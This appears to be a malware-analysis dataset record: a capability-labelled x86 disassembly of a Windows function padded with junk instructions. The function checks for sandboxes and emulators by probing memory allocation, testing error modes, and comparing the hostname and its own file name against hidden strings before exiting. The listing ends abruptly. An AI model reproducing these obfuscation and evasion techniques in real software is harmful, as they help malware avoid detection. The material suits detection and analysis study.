Function at 0x1720123
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov ebx, ebx
push eax
push esi
pop esi
pop eax
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
pushfd
push ebx
add esp, 4
popfd
test eax, eax
xchg edi, edi
pushfd
xor eax, 0x2efacdce
xor eax, 0x2efacdce
popfd
je 0x1720e71
push edi
push eax
pop eax
pop edi
mov dword [ebp - 0x41c], eax
pushfd
inc eax
dec eax
popfd
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
xchg esi, edx
xchg edx, esi
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
push esi
push ecx
pop ecx
pop esi
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
xchg edx, edx
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
mov esi, esi
xchg ecx, edi
xchg edi, ecx
cmp eax, 0x400
pushfd
inc edx
dec edx
popfd
push eax
push ebx
pop ebx
pop eax
jne 0x1720e71
pushfd
push esi
add esp, 4
popfd
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
push edx
pop edx
test eax, eax
xchg esi, edx
xchg edx, esi
je 0x1720e71
xchg ecx, eax
xchg ecx, eax
mov dword [ebp - 0x20e], 0x104
pushfd
xor esi, 0x931af9f5
xor esi, 0x931af9f5
popfd
lea eax, [ebp - 0x313]
pushfd
push edx
add esp, 4
popfd
xchg ecx, ebx
xchg ebx, ecx
lea ebx, [ebp - 0x20e]
pushfd
inc ebx
dec ebx
popfd
pushfd
xor esi, 0x2f9ce5f
xor esi, 0x2f9ce5f
popfd
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
pushfd
push 0x327390a5
add esp, 4
popfd
mov edx, edx
test eax, eax
push edi
pop edi
push ebx
pop ebx
je 0x17205a2
mov edi, edi
lea eax, [ebp - 0x418]
pushfd
push ecx
add esp, 4
popfd
mov ebx, 0x61
xchg edi, edi
mov edx, edx
sub bl, 0x13
xchg ebx, eax
xchg ebx, eax
mov byte [eax], bl
pushfd
push 0x4f553d97
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
add bl, 0x18
pushfd
push 0x6d9962c0
add esp, 4
popfd
push ecx
pop ecx
mov byte [eax + 1], bl
pushfd
push 0x14a099b9
add esp, 4
popfd
xchg edi, edi
sub bl, 0xc
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 2], bl
push edi
push ebx
pop ebx
pop edi
add bl, 0x1a
xchg ecx, ebx
xchg ebx, ecx
xchg ecx, ecx
mov byte [eax + 3], bl
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x2e
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
xor eax, 0xbdaca73c
xor eax, 0xbdaca73c
popfd
add bl, 0x1c
pushfd
xor edx, 0x61f8beb9
xor edx, 0x61f8beb9
popfd
mov byte [eax + 5], bl
xchg edi, ebx
xchg ebx, edi
push edx
pop edx
sub bl, 0x12
pushfd
push edx
add esp, 4
popfd
xchg ecx, ecx
mov byte [eax + 6], bl
xchg ebx, ebx
add bl, 0x16
nop
xchg edx, esi
xchg esi, edx
mov byte [eax + 7], bl
pushfd
push ecx
add esp, 4
popfd
sub bl, 0x1e
pushfd
xor eax, 0x2399abc1
xor eax, 0x2399abc1
popfd
mov byte [eax + 8], bl
pushfd
xor esi, 0xaed1de8b
xor esi, 0xaed1de8b
popfd
mov byte [eax + 9], 0
xchg ebx, ebx
lea ebx, [ebp - 0x313]
push eax
pop eax
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
push ecx
add esp, 4
popfd
test eax, eax
pushfd
push 0x69b1b9fe
add esp, 4
popfd
xchg ebx, eax
xchg ebx, eax
je 0x1720e71
pushfd
xor edx, 0x84ef5853
xor edx, 0x84ef5853
popfd
pushfd
xor edx, 0xdd1046aa
xor edx, 0xdd1046aa
popfd
lea eax, [ebp - 0x418]
xchg edx, eax
xchg edx, eax
push ecx
pop ecx
mov ebx, 0x61
pushfd
push 0x514a8b16
add esp, 4
popfd
sub bl, 0x1c
push ebx
pop ebx
mov byte [eax], bl
xchg edi, ecx
xchg ecx, edi
push edi
push ebx
pop ebx
pop edi
add bl, 7
push ebx
pop ebx
mov byte [eax + 1], bl
pushfd
push 0xf9b804ab
add esp, 4
popfd
pushfd
push ecx
add esp, 4
popfd
sub bl, 3
pushfd
push 0xfbc1e1bb
add esp, 4
popfd
mov byte [eax + 2], bl
pushfd
push edi
add esp, 4
popfd
sub bl, 6
push ecx
pop ecx
mov byte [eax + 3], bl
pushfd
push 0xc2a43285
add esp, 4
popfd
add bl, 0x17
mov esi, esi
push eax
pop eax
mov byte [eax + 4], bl
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 5], 0
pushfd
xor ecx, 0x2baf4ce0
xor ecx, 0x2baf4ce0
popfd
xchg edi, ebx
xchg ebx, edi
lea ebx, [ebp - 0x313]
xchg edi, edi
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
xchg esi, edx
xchg edx, esi
push edx
push esi
pop esi
pop edx
test eax, eax
push eax
push edi
pop edi
pop eax
je 0x1720e71
xchg edx, ebx
xchg ebx, edx
pushfd
xor eax, 0xabfe7bf8
xor eax, 0xabfe7bf8
popfd
lea eax, [ebp - 0x418]
push edx
pop edx
mov esi, esi
mov ebx, 0x61
pushfd
push 0x15c3fcc5
add esp, 4
popfd
add bl, 0x13
pushfd
inc ebx
dec ebx
popfd
mov esi, esi
mov byte [eax], bl
xchg ecx, ebx
xchg ebx, ecx
pushfd
xor esi, 0xd6dc9717
xor esi, 0xd6dc9717
popfd
add bl, 6
xchg ebx, edi
xchg edi, ebx
mov edi, edi
mov byte [eax + 1], bl
pushfd
push 0xa6a2098e
add esp, 4
popfd
mov edx, edx
mov byte [eax + 2], 0
xchg edi, edi
lea ebx, [ebp - 0x313]
push ecx
push edx
pop edx
pop ecx
pushfd
inc edi
dec edi
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
mov edx, edx
test eax, eax
pushfd
push esi
add esp, 4
popfd
je 0x1720e71
pushfd
xor esi, 0x36d62d70
xor esi, 0x36d62d70
popfd
xchg edx, edx
lea eax, [ebp - 0x418]
mov eax, eax
mov ebx, 0x61
pushfd
push 0x4844993c
add esp, 4
popfd
pushfd
push 0xe33fbaf6
add esp, 4
popfd
sub bl, 0x14
mov esi, esi
mov byte [eax], bl
pushfd
push 0x683c9a39
add esp, 4
popfd
xchg esi, eax
xchg esi, eax
sub bl, 0xc
mov esi, esi
mov byte [eax + 1], bl
pushfd
push esi
add esp, 4
popfd
add bl, 8
xchg esi, edx
xchg edx, esi
pushfd
xor edi, 0xeb1d0a71
xor edi, 0xeb1d0a71
popfd
mov byte [eax + 2], bl
pushfd
xor eax, 0x994f3f15
xor eax, 0x994f3f15
popfd
add bl, 5
pushfd
xor esi, 0x798b96fe
xor esi, 0x798b96fe
popfd
pushfd
push 0xf7c6d2a7
add esp, 4
popfd
mov byte [eax + 3], bl
push edx
pop edx
mov byte [eax + 4], 0
pushfd
push eax
add esp, 4
popfd
lea ebx, [ebp - 0x313]
push edx
push eax
pop eax
pop edx
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
mov eax, eax
pushfd
inc esi
dec esi
popfd
test eax, eax
pushfd
push 0xb8cdfdcc
add esp, 4
popfd
je 0x1720e71
pushfd
push edi
add esp, 4
popfd
pushfd
push 0xddba138e
add esp, 4
popfd
xchg ecx, ecx
lea eax, [ebp - 0x20a]
pushfd
push 0x61495654
add esp, 4
popfd
push 0x104
push eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
push eax
push edx
pop edx
pop eax
cmp eax, 0
push edx
pop edx
jle 0x1720e5b
pushfd
xor esi, 0xac4ab5f6
xor esi, 0xac4ab5f6
popfd
lea eax, [ebp - 0x20a]
pushfd
push 0xcc9afc8
add esp, 4
popfd
push eax
call dword [sym.imp.Shlwapi.dll_PathFindFileNameA]
pushfd
inc edi
dec edi
popfd
lea ebx, [ebp - 0x105]
xchg ecx, ecx
pushfd
xor edx, 0x690f4347
xor edx, 0x690f4347
popfd
push eax
push ebx
call dword [sym.imp.msvcrt.dll_strcpy]
xchg esi, ecx
xchg ecx, esi
pushfd
xor ecx, 0x2714c3e5
xor ecx, 0x2714c3e5
popfd
lea eax, [ebp - 0x418]
push eax
push ecx
pop ecx
pop eax
mov ebx, 0x61
pushfd
inc esi
dec esi
popfd
sub bl, 0x1e
pushfd
xor ecx, 0x945c1f5a
xor ecx, 0x945c1f5a
popfd
mov byte [eax], bl
push edi
push ecx
pop ecx
pop edi
sub bl, 9
xchg ecx, ecx
push esi
pop esi
mov byte [eax + 1], bl
xchg ebx, ecx
xchg ecx, ebx
pushfd
push edi
add esp, 4
popfd
add bl, 0x22
mov ebx, ebx
mov byte [eax + 2], bl
mov esi, esi
sub bl, 0x18
mov edx, edx
push edi
push ecx
pop ecx
pop edi
mov byte [eax + 3], bl
xchg ebx, esi
xchg esi, ebx
pushfd
xor edi, 0x2b5de90b
xor edi, 0x2b5de90b
popfd
add bl, 0x2b
pushfd
xor ebx, 0xd5387e47
xor ebx, 0xd5387e47
popfd
pushfd
inc esi
dec esi
popfd
mov byte [eax + 4], bl
pushfd
push eax
add esp, 4
popfd
sub bl, 0xc
push ecx
pop ecx
pushfd
push 0xfa37ede
add esp, 4
popfd
mov byte [eax + 5], bl
pushfd
push eax
add esp, 4
popfd
add bl, 0x12
xchg edx, edx
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 6], bl
pushfd
xor edx, 0xcbd9cbea
xor edx, 0xcbd9cbea
popfd
sub bl, 8
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 7], bl
mov edx, edx
sub bl, 8
mov edx, edx
mov edx, edx
mov byte [eax + 8], bl
mov ebx, ebx
add bl, 9
pushfd
push ebx
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 9], bl
pushfd
inc edx
dec edx
popfd
xchg edx, edx
add bl, 6
xchg edx, edi
xchg edi, edx
xchg edi, esi
xchg esi, edi
mov byte [eax + 0xa], bl
pop eax
or dl, byte [esi + 0x57]